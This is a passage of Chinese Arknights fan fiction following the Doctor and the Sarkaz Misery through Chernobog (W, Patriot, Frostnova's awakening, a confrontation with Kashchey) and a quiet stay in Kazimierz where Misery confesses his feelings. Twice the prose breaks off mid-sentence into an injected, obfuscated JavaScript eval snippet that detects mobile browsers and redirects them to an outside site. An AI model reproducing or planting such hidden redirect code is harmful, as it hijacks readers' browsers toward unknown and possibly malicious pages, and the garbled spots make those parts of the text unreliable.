“你这么做一定有什么理由。”Misery语气坚定道。 这下博士也忍不住笑了,他摇了摇头说:“你总这么顺着我,万一哪天我真的做出不可挽回的错事了呢?” “我会陪着你,如果你犯下罪责,那我也理应与你同罪,等你改主意了,想弥补,想挽回,我也会跟你一起赎罪。” 昏黄灯光下,Misery金色的眼睛亮得惊人,博士几乎不能维持和他的对视,那会让他有种炙烤着内心的负罪感。萨卡兹是如此信任他,全心全意的信赖,而他却不能回以对等的感情。 “我能问问为什么吗?为什么你就这么笃定我会成为双王所说的救世主?”博士支起脑袋,歪着头问。 “……我不认为救世主这种名头是好东西,你首先是个人,然后才是其他身份。我对你的认同是其他方面的。” “比如说?” “你温柔善良,耐心细致,”萨卡兹的耳朵以肉眼可见的速度红起来,“聪明,能言善辩,学识丰富……最重要的是,你能够指引他人前进的方向。” “即使我为他们指向了死亡?医学不是我擅长的方向。”蓝色药包这些天开给的不只是弑君者,还有受尽疾病折磨,绝望而痛苦的寻求了结的人们。 “如果不是没得选,你不会这么做的。矿石病无法治愈,能让他们自己决定自己的死亡,已经足够人道主义了。换我处在这种境地,我也会感谢你重新给了我一次掌握命运的机会。”Misery覆上博士的手掌,“而且你看,我能完好无损地待在这里,全都是因为你救了我的命,很多次。相比他们,我要幸运得多,因为我更早遇见了你。” “谢谢你,Misery。”博士身子往前一倒,额头靠在萨卡兹的肩膀上,闭上眼睛,“谢谢你的信任。” Misery缓缓圈过博士,手掌轻拍背部,试图从博士肩头分担走一些重量。他还有许多话没有跟博士说,但这不是合适的时间,也不是合适的地点,但总有一天,他会一点一点从心底拼凑出这些话语,再毫无保留地交给博士。即便可能只是他的一腔情愿,但他甚至不需要一个准确的答复,心意能够传达到就已经足够。 博士没想到还能在整合运动遇到老熟人。 当翘着两根红色挑染浑身捆着危险物品的萨卡兹走进店里时,Misery几乎瞬间就挡在了博士面前,匕首与对面的炸弹相撞,爆炸却没有如意料中发生,那是一枚没有拉开引线的手榴弹,W不会犯下这种低级别错误。 “别着急啊,老朋友,作为整合运动的一员,我怎么都能有看医生的资格吧?” “坐吧,W,我听说过,你现在也是整合运动的干部之一。” 既然连博士都发话了,她跨过严阵以待的Misery,大咧咧坐上看诊的座位,眼睛却犹如鹰隼牢牢锁定在博士身上。但好在她不像以前那样咄咄逼人,整个检查流程相当配合。和本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391771|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人乱来的狂轰滥炸式风格不同,她的矿石病相当稳定,在这群疯狂的整合运动成员中,显得异常惜命。 “你和Misery还真是一点没变,一个当医生,一个当男护士?我们可怜的Misery,明明杀人是一把好手,却换了哪儿都是给你打工的命。” “你在整合运动不也是打工?”博士挑眉问道,“如果我开价合适,考虑也跟着我干吗,W?以我的矿石病药专利,买断你半辈子的价格不是问题。” “不了,给整合也就卖卖命,跟你这种人待久了,出卖的就是灵魂了,看看那几个前车之鉴吧。”W颇为嫌弃地看了眼Misery,一把抓过桌上的白色药包,挥挥手毫无留恋地离开,“看在我们过去的交情上——如果真的有这种东西,我提醒你一句,爱国者快回来了。” 相比较那些年轻的干部,他们的需求很简单,要么想活下去要么想死得痛快,但要取得在整合运动中资历数一数二的爱国者的同意,恐怕就没那么容易了。 这些固执坚强的老战士看重的不是个人的生死与得失,而是理念与荣誉。爱国者没有响应魔王的召唤,而是选择成为感染者之盾,可见一斑。 博士不打算坐以待毙,以老战士的骄傲和他们石头般的固执,爱国者不会主动来看医生。只能换博士主动,他跟轮班的盾卫攀谈起来,因为对这段时间他为改善感染者生活付出的努力有目共睹,盾卫们愿意牵线搭桥,给他一个能够见到爱国者的机会,其中一位盾卫说:“你让我们想起了将军的一位故人,他也曾经在切尔诺伯格开诊所。而且是你的话……说不定会有办法。” 会面安排在了切城中学附近,博士同样负责了这些中学里学生们的感染程度检查,好在有盾卫维持秩序和看护,这群学生没有受到太多的伤害,除了感染矿石病,和物资短缺导致的营养不良,普遍身体还算健康。 会面的房间里堆放了许多老旧的玩偶,墙上挂着粗糙的简笔画和模糊看不清字迹的红色奖状,像是不富裕的主人家为孩子精心布置的玩具房。就是在这样温馨的氛围里,强壮而固执的温迪戈野兽闯了进来。就连Misery也被这种战士的气场所震慑,他试图阻拦在博士身前的动作一顿。 博卓卡斯替犹如一支尖锐的矛突进这个房间,刺破了所有虚伪的伪装,他的声音嘶哑却震如洪钟:“一个要求,救我的女儿。如果你能做到,我会同意,你的条件。” 盾卫带他们前去核心区的另一个方向,穿过层层守卫,抵达地下一座隐秘的设施,一间玻璃房内躺着数十个生死不明的人,他们呼吸微弱,身形瘦削,没有旁边吊着的营养液点滴,恐怕早已化作一堆源石粉尘。 “他们是进入石棺后沉睡的感染者,大部分没有这么幸运,出来的不是疯了就是变成了怪物。”一位明显是医疗人员的菲林解释道,她指挥着其他几个医护人员,把靠墙的其中一个感染者推到了隔壁的房间,博士隐约看到那是个有着白色长发的姑娘,“请跟我来。” 在旁边的房间,博士这才有机会仔细观察这个被推出来的卡斯特,她年纪不大,雪白的长耳耷拉着,体温偏低,面上深深的伤痕和即使昏迷也紧皱的眉头,无不显示这是位历经风霜的战士。 “她叫霜星,是将军的养女,”菲林低头看向少女,眼里的焦急痛苦几乎化为实质,“也是我们雪怪小队的领袖。无论您通过什么方法,请您救救她。” 博士驾轻就熟地指挥Misery支开无关人员,只留下了那位放心不下的菲林,然后摆好仪器,为这位卡斯特测量各项身体指标。石棺对泰拉人的作用博士也不能完全确定,但确实做到了将血液源石浓度从危急中拉回,她体内的源石和她的身体一起陷入了停滞。 “霜星她……不同意袭击切城,也不同意用石棺,所以当雪怪小队有人不得不进入石棺时,她选择和大家一起进。”菲林垂下眼睛,抹了眼角的泪水。 “是塔露拉的命令?”Misery问道,“你们的领袖……脑子不太正常。” “我们的领袖只有将军和大姊,才不是那个疯子!”菲林情绪激动反驳道,“大姊她很早就感觉到不对,让我们不接受塔露拉的调令,甚至想带我们独立出去,但是将军不许。” 博士没有插话,他专心致志思考着眼前的情况。正常来讲,离开石棺时这种停滞就应该取消,但很明显他们不能主动解除这种状态。如果在平时,博士只会建议继续维持身体的生理水平,然后找脑神经专家会诊,无论是通过物理刺激还是更深层次的意识唤醒,总比他这个半吊子的医生要来得好。但叠加了矿石病,又碰上切尔诺伯格这三天两头的停电与物资短缺。不仅是霜星,整个玻璃房的人都可能活不到出城的那一天。乌萨斯视他们为叛徒,巴不得除之而后快,也从没有优待俘虏的传统,其他国家更不会接纳这些毫无价值的残兵败将。 “要救霜星,我需要石棺。”博士站在爱国者面前,他本就比泰拉人小上一圈的身材,在爱国者这座大山前显得脆弱而渺小,但他的眼神坚定,高抬起的下颚绷出一道弯月般的弧线,“而且有一个消息需要转交给你。” W留下的那枚哑弹,拆开里面却是中空的结构,一张陈旧的纸条书写着刺眼的真相。 红龙坠落,而不死的黑蛇永存。 7. 06 “还真是给我出了个难题啊。” W站在隐蔽的二楼一角看向梅菲斯特和浮士德,两个相依为命、从不分离的男孩正像平时一样在城中巡视。她往上丢了丢握在手里的遥控器,又灵巧接住。想办法打晕捆走梅菲斯特容易,但要控制住浮士德就困难了,除非她一次性使出超过医疗部规定量的炸弹数量。 她当然不怕医疗部那些老东西,更不怕某个罐头临时医生,只是…… “唉,回去让殿下多念我几句也好,在殿下那留下个不好印象的这笔账就记在你身上了,你最好有殿下说的那么有用,博士。” 被念叨的本人,正跟随着爱国者的脚步,深入基地底层。有爱国者的震慑在,没人敢质疑为什么带博士进入基地最底层。 乌萨斯很多年前挖掘出了石棺,并开展了一系列研究与逆行工程,但不知道出于什么理由封存了,直到整合运动误打误撞攻入这座秘密设施。曾经堆满几面墙的研究资料被当做废纸处理散落一地,博士瞥了几眼他差点一脚踩上的加密档案,乌黑的污渍覆盖了纸张,但仍然能看到些能源、无法破坏的材料、不可控等字眼。 “现在整个切尔诺伯格供能全都依赖它,”那位菲林换上了雪怪小队的制服,因为爱国者矿石病导致的沟通问题,在一旁充当起讲解员,“我们发现石棺被改造过,与城市的供能共用一套系统,只不过平常处于关闭状态。石棺内储藏的能量非常大,大到难以预估,但是因为长期缺乏维护,供能不稳定,所以城里才老是停电。” “你们是怎么发现它对矿石病有作用的?” “说来也很巧……它会叫石棺,是因为那些庞大的能量都是为了维护中心位置的那口石棺。我们阅读了一部分还完好的研究笔记,乌萨斯科学家有推测过这是不是某种维生装置,正好突入的那个小队里有人矿石病发作……” “在这里爆炸的话,他们整个队都活不下来。”Misery替她补充了说明,密闭空间的源石粉尘,没有比这更快的催命符了。 “对,虽然小队里没有人知道石棺有什么用,但它刚好可以把发病的人,嗯,隔离在里面。”她挑选了一个不那么激烈的用词。 “那个幸运儿没有因为矿石病炸成粉尘,但是出石棺以后没有及时得到医疗救助,因为其他伤病去世了。” 最后一道厚重的大门在他们面前开启,博士踏入安置石棺的房间,熟悉的建筑风格和陌生的改造痕迹,博士褪下手套,伸手抚上房间正中央蛰伏的黑色方形装置。冰冷的触感和空空荡荡的内腔,一座没有乘客的石棺,在最后那段时间,他们制造了无数个同样的石棺,但因为能量问题,最后留存的不多,这是其中一个运行良好的备用石棺,它原本的主人早已无迹可寻。 他还能期待什么呢,即使这里面真的装着一个他的同胞,也早就被乌萨斯当局抓去研究甚至解剖,一座空石棺,不算意外但也谈不上失望。 “你如何做?”沉闷的犹如破损风箱里传出的声音催促着博士,爱国者的利刃仍然锋利,如果面前的异族人有任何拿他们寻玩笑的迹象,那这柄利刃就会落在他的身上,将薄纸般的身躯撕碎,为欺骗付出鲜血的代价。 博士微微叹了口气,他从腰兜里掏出从不离身的小东西之一,一枚墨绿色的棱形水晶。Misery认得这东西来自哪里,博士那位菲林朋友的遗物,他的小拇指微动,博士承受的伤痛不比他少,但总能坚强起来为他人指引方向。 绿色水晶仿佛具有自我意识,它从博士的掌心腾空而起,淡绿色的光芒淹没了整个房间,又很快消散,它旋转着飞到石棺的正上方,维持着固定频率的稳定的一明一灭的闪光。 “石棺不能治疗矿石病,”博士直言,“但我可以借用石棺的能量,唤醒那些沉睡的人。” 水晶终于不再一闪一闪,它迸射出耀眼的绿色,环绕着一圈彩虹般的七色光晕,像生命流动的光彩,也像水面的浮藻随风浮动。让博士想起来凯尔希曾经最初的样子,她在前文明人的指尖也这样脆弱而美丽,像一团模糊的光。 它回到了博士手中,收敛了所有外溢的光芒,静静躺在博士的手心。 “你说切城的控制核心在塔露拉手上,是吗?”博士问道。 “是。” “我话说在前头,唤醒霜星他们以后,石棺的能量会失效,整个切城都会停下,她手上的核心也就报废了。至于你们整合运动内部的矛盾,那就和我无关了。” 爱国者陷入沉默,他握紧手里的长戟,整合运动不能有两个头领,更不能分裂,他们作为一个整体存在才拥有抗争的力量。但黑蛇不是,科西切不是,也不能成为整合运动的头领。 “……再等几天吧,”雪怪小队的菲林插话道,她的眉间投下阴影,“我们马上要靠近下一个补给城市,如果切城完全停下了,我们还需要疏散城里的感染者。” “疏散人员我可以找人帮忙,而且我想她也挺愿意的。”博士提议。 “将军……我们都清楚现在的切城情况,大家还能支撑多久,”菲林垂下眼睛,因为长期营养不良而瘦削的面孔上露出凄楚的笑容,“您最了解大姊,一定知道如果她还醒着她会怎么说。” “……三天,我的答复。” 这是让他们再等三天的意思了,尽管博士现在就想停下切城的能源,但那样造成的混乱又会进一步摧毁这个岌岌可危的组织,将那点微弱的秩序彻底毁坏殆尽。或许他可以一走了之,但会成为Misery口中的坏人,一想到萨卡兹那张悲伤自责的脸,博士就感到无形的阻力横在他与逃避的选项之间。 接触石棺的消息估计早就传到塔露拉那里去了,所以当有人来请博士过去谈谈的时候,他毫不意外。Misery忧心忡忡,他还在意上次塔露拉用在博士身上的源石技艺,根据爱国者那边的说法,现在的塔露拉体内是科西切,他通过某种方法夺舍别人的身体而活,臭名昭著的不死的黑蛇。 “我这样孱弱的身体,他恐怕也看不上吧,”博士伸出苍白的双手,皮肤下的静脉清晰可见,离开卡兹戴尔后依然没怎么长肉,甚至因为风餐露宿皮肤都粗糙了很多,他轻声笑道,“你一只手就能制住我。要说看上你的身体还差不多,虽然物理强度还是比不上德拉克这种血脉,但是你的源石技艺更实用,长相也帅气,又没那么有攻击性,搞渗透非常合适。” “博士,你就别打趣我了……”Misery无奈。 “好啦,我想他的源石技艺需要非常苛刻的条件才能达成,即便是现在的塔露拉,也不完全是黑蛇,你能想象黑蛇会要求所有的整合运动干部去老老实实看医生吗?” Misery看起来更忧心了,但他没有再劝阻,他的手放上博士的肩膀,“别和他单独共处一室。” 博士拍拍他的手表示放心。 塔露拉这一次约见他们是在大楼的天台上。整个切尔诺伯格城匍匐在他们脚底,废墟和源石结晶随处可见,风里隐约还有硝烟和灰尘的味道。博士拉上了兜帽,一步一步走上阶梯,他那点体能很快就见底了,Misery在旁边扶着他,不至于喘气喘得太丢人。 德拉克换上了一身军礼服的打扮,比那件黑裙显得陈旧呆板,但刻下了时光的磨损,见证了她一路走来的历史。 “爱国者就是整合运动的意志化身,他能带你去见石棺,说明你已经取得了大部分人的认可。”塔露拉没有动怒的迹象,她语气平静,仍然站在边缘眺望远方,“怎么样?那里有你需要的东西吗,前文明人?” “……有收获,但不多,石棺不能治疗矿石病,那是饮鸩止渴。”博士又重复了一遍。 “我也没指望那东西能够解决纠缠这片大地已久的顽疾。”塔露拉转过身,直视进博士的眼睛,她的眼睛里燃烧着灼人的火焰,“和那死物相比,你才是关键。” “你想要什么,塔露拉?” “向神许愿的话,愿望就一定能实现吗?”塔露拉自嘲道。 “我不是神,我也没有实现你愿望的想法和能力。” “但你可以成为,我能让你成为泰拉的神明,世人都会对你顶礼膜拜,你会成为泰拉的救世主,有人为你树碑立传,有人为你传颂功绩,有人为你供奉余生——而我只需要收取一点小小的代价。” “用一个更大的谎言来遮盖另一个谎言,你也不过如此,科西切。” 黑蛇露出果然如此的表情,即使暴露了身份,他的眼神仍然傲慢,“你以为换了爱国者来领导整合运动会有不一样的结局吗?他是个莽夫,只会认准一个方向往前冲,摧毁所有阻挡他的东西,他会如梦想般死得壮烈,但没有用。” “但你欺骗他们,许诺他们感染者会有个不一样的家园,又能好到哪儿去。就连卡兹戴尔都颁布了保护感染者的法律,而乌萨斯呢?恐怖袭击只会让普通民众更加反感感染者。” “所以你现在又为卡兹戴尔说话了,”黑蛇摸上腰间的剑柄,脸上挂着嘲讽的笑容,“来自炎国的学者,哦,我怎么忘了,你身边还有个魔族佬小跟班。” 随着卡兹戴尔的日益强盛,博士已经很久没有听到过这样的称呼。Misery反应平静,不受黑蛇的刺激:“我已经不属于卡兹戴尔。” “你又是为谁说话,科西切。为感染者?那是塔露拉的功劳。为乌萨斯?你站在切城的废墟之上。为你自己?你活成了别人的样子。” 博士鲜少露出这样咄咄逼人的样子,尽管语气说不上严厉,但却字字如刀片,往斐迪亚的鳞片底下钻。 “事事不能如人所愿,我也只是在浪潮来临时保证能自己把握方向。”黑蛇垂下眼睛,德拉克年轻的脸上却浮现出几分老态,“既然你不愿意留下,那就走吧。” “……你仍然留有良知,虽然那部分可能属于塔露拉。”博士转过身往楼梯走去。 “不,只是你要对付的敌人不是我,前文明人,活得久些总能看清点别人看不清的东西,你的灵魂在动摇,你问心有愧。” 博士的脚步一顿,然后头也不回地离开了,Misery最后看了一眼塔露拉,安静跟上。 咆哮的钢铁巨兽停下它蹒跚的脚步,切尔诺伯格停歇在一座边缘小城几公里远的位置。前方的整合运动成员已经带来了城内已经安排妥当的消息。博士也装好他的医疗包,橙色药剂除去Misery手环上的,如今只剩两支。少的那一支今天早上他已经交给了爱国者。 玻璃房内,绿色的光芒笼罩了整个房间,每一个沉睡的泰拉人身上源石结晶都在微微震动。这是个精细的活,要不是凯尔希在,博士还真没把握做到通过源石精准释放能量脉冲刺激脑神经,刚好控制在唤醒而不是让他们大脑被烤熟的程度。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391772|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>光芒刚刚散去时,这群人表面上还没有任何反应,但渐渐的,他们当中年轻点的沉睡时间短的,已经慢慢坐起身来,像死尸复生般,吓得旁边的医疗人员摔了个踉跄。 霜星醒得比较晚,等她终于睁开迷茫的灰白双眼时,在场的人都松了口气。 “谢谢你,我以为,以为大姊再也醒不过来了……我们差点失去你……”菲林伏在霜星的床边痛哭,其他的雪怪小队成员也围了过来,个个情绪激动。 虽然还没搞清楚什么状况,但霜星拥抱了她悲伤的兄弟姐妹们,她的声音虚弱但充满生命的活力,“大家都在啊……我应该不是在天堂吧?” “没有!你还活着,大姊,多亏了这位博士,是他唤醒了你们。” 霜星抬起头看向角落里一身黑的可疑人员,博士没有带面罩,额角翘出来的白发不太服帖,他朝霜星露出一个微笑。霜星若有所感,她回以温暖的笑,冲这位救命恩人微微躬身。 “父亲呢?” 雪怪小队的成员面面相觑,一时间谁都不敢回答这个问题。 “爱国者将军有要事和塔露拉谈,切城的能源断了,他临走前交代过,你和雪怪小队要撤出切城,带平民和学生前往离这最近的乌萨斯城市,这是命令。”博士替他们回答道。 “他为什么会……”霜星感到不对劲,“难道是塔露拉又干了什么?” 博士提醒道:“撤离要尽快,赶在乌萨斯军队发现切城的行踪之前。” Misery不知道从哪里真的搞来了一部装甲车,这样他们就不用混在平民堆里。但在收拾齐整发车之前,一道红色的影子钻进了后座,她的手掐在副驾驶的博士脖子上。博士只来得及轻叫一声,就感到自己的气管被扼住,雇佣兵手上的技巧纯熟,刚好卡在他难以出声和缺氧之间。 匕首同一时间横在了W的脖子上,Misery一只手卡住放在博士脖子上的胳膊,一只手横过匕首,锋利的刀刃贴在W跳动的动脉旁,没有人比Misery更清楚从哪个角度下手能够让敌人血溅当场,他的尾巴圈上博士的手腕。三个人以一种扭曲的姿势维持在了一种平衡状态。 “这和我们之前谈的不一样,博士,擅自给我增加工作量就罢了,还想带着叛徒拍拍屁股走人,我可不是什么慈善家哦?”W语气低沉,像斐迪亚吐出信子,她丝毫不惧脖子上的威胁,但也放松了手上力气,让博士得以顺畅发声。 “咳咳……我同时帮你完成两个任务,这还不够?整合运动大乱,让你有机会带走萨卡兹感染者,而且也帮上了我的忙。你可以结束卧底任务,回到你心心念念的殿下身边。” “你知道特蕾西娅殿下为什么让我帮你,卡兹戴尔现在仍然敞开怀抱欢迎你的回归,”W眯起眼睛,“而你在这陪小宠物过家家。” “殿下不会允许你伤害博士的,W,”Misery冷冷道,“你既然知道他的重要性,那就清楚什么能做什么不能做。” “切。”W率先松开了手指,往后仰躺,抬起一只脚踩在前座椅背上。Misery放开了对她的钳制,转头去看博士的脖子有没有受伤,W虽然下手有控制力气,但还是在苍白的脖颈上留下来明显的红印,Misery指尖拂过的地方痒痒的。 博士摆摆手表示没事,开口问道:“弑君者和梅菲斯特他们怎么样了?” “弑君者我找了个坑把她丢进去,应该在底下睡半天就醒了。那俩小孩我捆了梅菲斯特,藏进城边的房子里,给浮士德留了线索,让他慢慢找去吧。” “谢谢你的帮助,我还不能回卡兹戴尔,而且你也带不走我。” “那可不一定?我已经在这个车和附近都埋好了炸弹,再皮糙肉厚的空间系萨卡兹也不可能带着你全身而退。”W把玩着手里的遥控器,为了证明她的说法,她轻轻拨动其中一个按键,车正前方的土堆爆出火光和烟尘,震动传导到车上,后视镜下挂着的破旧小熊吊坠左右摇摆,“除非就像你当时对待Scout那样,用完就扔。” Misery炸毛起来,尾尖绷直:“注意你的嘴,W!你不在现场,不要随意揣测,Scout和我都是自愿的。” 博士的反应就要镇定许多,他注视着飘起的烟尘,声音缓缓:“你们的魔王寻求的救赎不在我这,我回去了只会加速卡兹戴尔的灭亡。我想以特蕾西娅的性格,她不会要求你把我绑架回去,而是要我自愿回归。我不会跟你走的,W。” “……啧。”还真给这个罐头说对了,W知道这是她自找没趣了,她推开车门又砰的大力关上,小熊挂件又因为震动摇晃起来,“别后悔,等以后哭着喊着要回卡兹戴尔,我可不会对你们手下留情。” Misery平稳驾驶着车辆,他拆掉了W留下的炸弹,擦掉了所有整合运动的标志。博士摇下车窗,雪怪小队护送的平民和学生已经抵达了乌萨斯城下,那群学生里他早就注意到了那个也姓罗斯托夫的小姑娘,她白色的卷发齐腰,脸上虽然灰扑扑的,但眼神放出光彩,是自由和回家带来的希望点亮了她的眼睛。乌萨斯会接纳这群离乡之人吗? “走吧。”博士说道。 他们没有进城,而是背向城市而去。不远处的切尔诺伯格中央发出巨大的爆炸,火焰冲天,博士从后视镜看过去,烟雾冲上天空,像一面招摇的旗帜,被原野上的风吹散,四分五裂。 8. 07 老旧的车载音响居然还能兢兢业业播放些附近偶尔收到的频段,博士从夹缝箱子里还掏出了几张光碟,有头戴着纸箱子的,也有个挂金链的企鹅的,还有更多博士见也没见过的乐队,虽然这些音乐应该在灰尘里躺了些年头,但总比断断续续滋滋响的广播顺耳。源石物理上阻隔了各个地区,源石辐射同样阻碍了信号的传播。没有专门的通讯设备,在远离城市的乡下几乎等同于失联。 进入卡西米尔和乌萨斯交界的苏瓦乌基,视野逐渐开阔起来,田野与森林构成了一路上的主旋律。博士食指轻轻敲着大腿,看向远方的广阔草原,太阳光烘热了身体,跟Misery有一搭没一搭说着话,在悠扬的旋律中昏昏欲睡。 本地开朗乐观的库兰塔热情招待了他们。为了避免引起误会,Misery对车进行了大量改装,去掉了绝大部分属于乌萨斯制式的外装甲,又参考博士的意见,在车身上喷涂了放射性的图案,橙色与黑色拼接,再加点金色高光。这在热爱运动、热爱竞技、同样也热爱改装飙车的库兰塔中只能算是小孩子不懂事闹着玩的级别。Misery义正言辞拒绝了改装车行老板给车加装新款推进器和各种花样的夸张配件的提议。 说真的,他早就过了当鬼火少年的年纪了,而且也没那个机会当,自有萨卡兹雇佣兵团教你当个遵纪守法的好公民,反而是博士对着一些造型夸张的配件啧啧称奇,让车行老板吹起来都面上有光。 好在最后博士仍然坚守住了底线,只针对车内舒适性进行了适量的改造,乌萨斯对车的要求只有一个,能开就行,冷硬硌背的车座和宽敞得惊人的车内空间,以及一大堆无伤大雅的小毛病。哦,博士想加一个小冰箱这种需求不算在里面。供能和空间问题是小事,但博士的肠胃安全是大事。野营一套还是忽悠Misery买下了,他还真能在车里做饭给博士改善改善伙食。 他们落脚的城镇受边境征战骑士团的庇护,治安尚可,石头垒成的城镇安静坐落在森林边缘,一眼望不到尽头的麦田在微风中摇曳。 离开乌萨斯之前,他们回了一趟边境城市取回了他们在乌萨斯的行李,其中就包括了从贵族那收来的劳动报酬。这让他们的卡西米尔之行顺畅了许多,加上卡西米尔乡间的低物价,别提过得有多舒服了。 他们直接租了一座乡间小屋,博士抱着刚出炉的烤面包,香喷喷的,像天马金色的毛发,散发出阳光的香气,Misery左手提着菜右手夹着最新一期的报纸,在岩石铺成的地面上闲庭信步。卡西米尔乡下没有乌萨斯那么闭塞,骑士竞技比赛即使在乡野也广受关注,人们在饭后茶余都会谈论最近的比赛和崭露头角的新骑士。报纸的边角才有一点点提及他们的乌萨斯邻居遇到的麻烦,切城被乌萨斯重新回收,重建项目已经在计划中,没有人关心曾经占据切城的感染者怎么样了,整合运动就像沉入河中的石子,没了动静。 “博士!还有Misery先生,”一位库兰塔小姑娘凑上前来,她身上带有库兰塔普遍具有的活力,像一匹小马驹哒哒哒冲到他们身边,“我正好在找你们呢。” “艾沃娜小姐。”Misery礼貌冲她点点头。 “怎么了,艾沃娜,是药不够用了吗?” “没有没有,药还够用呢,我的自愈能力很强的,还剩很多呢。”艾沃娜摇摇头,“谢谢你的治疗,我要回征战骑士团去了,所以特意来找你们道谢。” “可是……”Misery想起刚刚在报纸上看到的新针对感染者的限制政策,“征战骑士团会接受感染者吗?” “可我都治好啦!博士的医术我放心。”小姑娘蹦蹦跳跳的,给他们展示自己的速度与力量。 “……艾沃娜,治好矿石病和控制症状是两回事,我做不到治好你,如果你再过度使用源石技艺还是会复发。”博士有些不忍。 艾沃娜不受打击,仍然自信说:“不管怎么说,我都要回去试试,我出身的克鲁科夫斯卡家族可是征战骑士世家呢,而且我是这一代中最优秀的一个,怎么会因为矿石病就不要我。” “你是个优秀的骑士,艾沃娜,不要你完全是他们的损失,那就提前祝你武运昌隆了。”博士微笑道。 “谢谢你的祝福,博士。啊,我还想起来一件事,”艾沃娜从随身小包里掏出两张纸片,交给博士和Misery,“有个很出名的表演团要到我们镇上表演了,我搞来了两张票,你们两个一起去吧,就当是我的小小谢礼。” 彩色印刷的票据上书写着飘逸的卡西米尔文字,背景彩绘是金色的天马高举着长枪,背后一半光芒一半黑暗,光明中无数的手伸向她,黑暗中无数的弓箭飞向她。她的胸口像星星一样闪耀,又像被扎穿的心脏,往下渗出鲜红的血液。 《由卡西米尔大骑士领著名戏剧团为您带来——耀骑士的陨落》 也许是最近过得太舒适了,出门就是乡野美景,邻居们大多都热情善良,知道博士是个有文化的学者,库兰塔大婶还会给博士多摘几篮子菜央求他辅导下自家不争气的小孩,一般还会附赠Misery的剑术指导。他虽然不如Ace他们精于此道,但基础技艺都是共通的。 压在博士身上那些沉重的东西也轻松了许多,Misery看着博士跟孩子们一起蹲在草丛里辨认动植物的身影露出他自己也没注意到的笑容。博士也话多起来,他真的向Misery请教了怎么做饭,但实操起来,博士那拿移液枪和注射器的手就是怎么都不如Misery灵活。 只有一大堆东西煮一起的炖菜博士学得最好,入口咸香适宜,卡西米尔本地土豆有股特别的香气,Misery毫不吝啬赞美的词汇,夸得博士都不好意思起来。 “在过去,合成食物健康又便利,已经很少有人会做饭了,我的同事里就只有一个特例,但是他也很忙,只有偶尔庆祝我们的实验有重大进展的时候才舍得亲自下厨。”博士一边说,一边吃着Misery新学的卡西米尔风味餐,鳞汤辅以切片香肠与熏肉,还有卡西米尔的特色酸菜。 “那不会少了很多生活的乐趣吗?我第一次独立处理猎物,为雇佣兵小队煮的汤,虽然以现在的眼光看,那汤放得过咸了,肉腥味也没有处理好,但我的队友们仍然眼睛放光,吃得津津有味。”Misery回忆道,“那时我就在想,给别人做饭竟然是这么让人满足的事情,所以一直保留着这个习惯到现在。” “你即使不当雇佣兵,靠厨艺都能维持生活了吧。”博士感叹道。 “工作是工作,爱好是爱好,我只愿意给我在意的人做饭,让我掌勺去当个大厨,还不如去当雇佣兵呢。”Misery摇头,“至少要是有谁说我做的饭不好吃,我能用匕首让他再好好想想。” 博士挑眉问:“那如果是我说的呢?当然你的手艺很好,但也难免哪天也许在尝试新菜的路上会翻车。” “那我就是真的做得难吃,我会改,博士。”Misery老老实实道。 博士轻声笑,“有时候真觉得你挺界限分明的,对外人有多凶,对自己人就有多好。” “那不一样,你是博士,本来就是特别的。” “特别在哪儿?” 这下又把Misery问住了,他这时候才后知后觉不小心泄露了心底的想法,萨卡兹开始坐立难安起来,他的脑袋乱成一团,但他又必须认真回答这个问题。 “……您很好,特别好。我可以为您付出所有的一切,包括我的生命。”也许是太紧张,也许是发自肺腑的真心,让许久不用的敬语都钻出来了。博士原本只是随口一问,但看Misery的反应,他不由自主坐直了身体。 “你的生命只属于你自己,看在你说的我救了你那么多次的份上,我对你的命多少有点发言权,我要求你把自己的生命放在第一重要的位置。别像卡西米尔的骑士小说那样,随时想着当送命的骑士。”博士严肃道。 “我没有想当骑士,”Misery不是很理直气壮地反驳道,“我当然也珍惜自己的生命,但是我做不到,博士……您永远在我的优先级第一。” “即使像W说的那样,我只是把你当成另一个用完就丢的——”博士不自觉言语尖锐起来,但他还是拉住了理智的弦,没有说出那个人的名字,“小宠物。” “您没有。不然也不会看着我的伤口露出那样的表情,不会试图说服我你没那么重要,不会因为我的反驳生气。”Misery语气笃定,他金色的眼睛依然温和注视着博士,让博士有种一拳打在棉花上的感觉。 “……但也好不了多少,有太多事情比你,甚至比我自己的生命都更重要,我无法回应你的情感。”博士捏了捏眉间。 Misery却没有因此低沉失落,他早就预料到了这样的回答,如果不是博士逼问,他还不打算这么早就把心里话说出来,这会给善良的博士带来心理压力。 “没关系,我不介意,我只是想让您知道,有人关心您在乎您支持您,您不是一个人。”Misery握上博士的手背轻声说道,他不想再给博士施加压力了。 “……我也曾经拒绝过Scout。”博士声音低到Misery几乎快听不清,但博士很快调整过来,他低垂着眼,声音恢复正常,“我不该,也不能接受你们,对不起。” Misery伸出手,确定博士没有抵触以后,将他整个人抱进怀里,手掌抚摸着对方松散的小辫,往下揉了揉后颈。 “没关系,”Misery靠在他耳边低语,“不要责怪自己,博士,这是我的问题,我不该在您好不容易放松下来的时候让你想起这么痛苦的事,就当我没有说过吧。”Misery把胸口麻木的刺痛感归咎于他的自作多情,他伤害了博士,尽管这不是出自他的本意。 “不,这对你不公平,Misery。”博士埋在萨卡兹的颈间,声音瓮声瓮气。 